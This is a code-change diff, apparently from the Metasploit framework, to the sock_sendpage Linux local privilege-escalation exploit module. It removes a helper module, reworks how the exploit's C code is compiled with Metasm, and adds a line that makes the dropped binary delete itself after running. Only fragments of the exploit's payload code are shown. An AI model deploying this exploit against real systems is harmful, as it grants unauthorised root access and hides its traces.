Use a proper main signature with arguments

Allows us to `unlink(argv[0])`

lib/msf/core/exploit/local/unix.rb

@@ -1,19 +0,0 @@
-
-module Msf
-module Exploit::Local::Unix
-
-  include Exploit::Local::CompileC
-
-  def unix_socket_h(metasm_exe)
-    [
-      "external/source/meterpreter/source/bionic/libc/include/sys/socket.h",
-    ].each do |fname|
-      cparser.parse(File.read(fname), fname)
-    end
-
-  end
-
-
-end
-end
-

modules/exploits/linux/local/sock_sendpage.rb

@@ -76,16 +76,10 @@ class Metasploit4 < Msf::Exploit::Local
   def exploit
     sc = Metasm::ELF.new(@cpu)
     sc.parse %Q|
-      #define DEBUGGING
-      #define NULL ((void*)0)
       #ifdef __ELF__
         .section ".bss" rwx
         .section ".text" rwx
-        .entrypoint
       #endif
-      call main
-      ;push eax
-      call exit
     |
 
     # Set up the same include order as the bionic build system.
@@ -117,39 +111,10 @@ class Metasploit4 < Msf::Exploit::Local
       #include <stdio.h>
       #include <unistd.h>
       #include <errno.h>
-      /*
-      OpenBSD's strcmp from string/strcmp.c in bionic
-      */
-      int
-      strcmp(const char *s1, const char *s2)
-      {
-        while (*s1 == *s2++)
-          if (*s1++ == 0)
-            return (0);
-        return (*(unsigned char *)s1 - *(unsigned char *)--s2);
-      }
+      #include <sys/socket.h>
+      #include <string.h>
     |)
 
-    [
-      "external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
-      "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
-      "external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
-      "external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
-      # This parses without any trouble, but actually calling perror() causes
-      # immediate segfaults.
-      #"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
-
-      # For some ungodly reason, NULL ends up being undefined when parsing this
-      # guy, which of course causes parse errors.
-      #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
-
-    ].each do |fname|
-      print_status("Parsing c file #{fname}")
-      cparser.parse(File.read(fname), fname)
-    end
-
-    print_status("Unix socket.h")
-    unix_socket_h(sc)
     current_task_struct_h(sc)
 
     case target.arch.first
@@ -259,7 +224,7 @@ SHELLCODE
 
 int shellcode_size = 0;
 
-int main() {
+int main(int argc, char **argv) {
   int i = 0;
   int d;
   int in_fd, out_fd;
@@ -267,6 +232,9 @@ int main() {
   char template[] = "/tmp/sendfile.XXXXXX";
   int (*func)();
 
+  printf("argv[0] = %s\n", argv[0]);
+  unlink(argv[0]);
+
   uid = getuid(), gid = getgid();
 
   mapped = mmap(NULL , 0x1000,
@@ -299,10 +267,11 @@ int main() {
       break;
     }
     if (out_fd < 0) {
-      printf("out_fd: %d, Errno: %d\n", out_fd, errno);
+      perror("socket");
       exit(1);
     }
   }
+
   unlink(template);
   // Couldn't get mkstemp to work, just use open(2) for now
   in_fd = open(template, O_CREAT | O_RDWR, 0777);
@@ -345,6 +314,8 @@ int main() {
       end
       main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
       cparser.parse(main, "main.c")
+      #$stderr.puts cparser.factorize
+      #return
 
       asm = cpu.new_ccompiler(cparser, sc).compile
 
@@ -352,6 +323,7 @@ int main() {
     end
 
     sc.assemble
+    sc.c_set_default_entrypoint
 
     begin
       if sc.kind_of? Metasm::ELF